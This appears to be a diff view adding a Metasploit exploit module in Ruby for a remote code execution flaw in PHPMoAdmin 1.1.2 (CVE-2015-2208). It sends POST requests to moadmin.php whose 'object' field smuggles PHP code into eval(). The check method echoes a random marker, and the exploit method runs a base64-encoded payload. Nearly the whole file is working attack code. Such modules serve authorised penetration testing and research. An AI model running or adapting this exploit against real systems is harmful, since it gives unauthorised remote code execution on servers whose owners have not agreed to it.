|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | + |
| 9 | +class Metasploit4 < Msf::Exploit::Remote |
| 10 | + |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'PHPMoAdmin 1.1.2 Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an arbitrary PHP command execution vulnerability due to a |
| 20 | + dangerous use of eval() in PHPMoAdmin. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Pichaya Morimoto pichaya[at]ieee.org', # Public PoC |
| 25 | + 'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'CVE', '2015-2208' ], |
| 31 | + [ 'EDB', '36251' ], |
| 32 | + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Mar/19' ], |
| 33 | + [ 'URL', 'http://seclists.org/oss-sec/2015/q1/743' ] |
| 34 | + ], |
| 35 | + 'Privileged' => false, |
| 36 | + 'Platform' => 'php', |
| 37 | + 'Arch' => ARCH_PHP, |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + [ 'PHPMoAdmin', { } ], |
| 41 | + ], |
| 42 | + 'DisclosureDate' => 'Mar 03 2015', |
| 43 | + 'DefaultTarget' => 0)) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + OptString.new('TARGETURI', [true, "The URI path of the PHPMoAdmin page", "/"]) |
| 48 | + ], self.class) |
| 49 | + end |
| 50 | + |
| 51 | + def check |
| 52 | + testrun = Rex::Text::rand_text_alpha(10) |
| 53 | + res = send_request_cgi({ |
| 54 | + 'uri' => normalize_uri(target_uri,'moadmin.php'), |
| 55 | + 'method' => 'POST', |
| 56 | + 'vars_post' => |
| 57 | + { |
| 58 | + 'object' => "1;echo '#{testrun}';exit", |
| 59 | + } |
| 60 | + }) |
| 61 | + |
| 62 | + if res and res.body.include?(testrun) |
| 63 | + return Exploit::CheckCode::Vulnerable |
| 64 | + end |
| 65 | + |
| 66 | + Exploit::CheckCode::Safe |
| 67 | + end |
| 68 | + |
| 69 | + def exploit |
| 70 | + |
| 71 | + print_status("Executing payload...") |
| 72 | + |
| 73 | + res = send_request_cgi({ |
| 74 | + 'uri' => normalize_uri(target_uri,'moadmin.php'), |
| 75 | + 'method' => 'POST', |
| 76 | + 'vars_post' => |
| 77 | + { |
| 78 | + 'object' => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit" |
| 79 | + } |
| 80 | + }) |
| 81 | + |
| 82 | + end |
| 83 | +end |
| 84 | + |
0 commit comments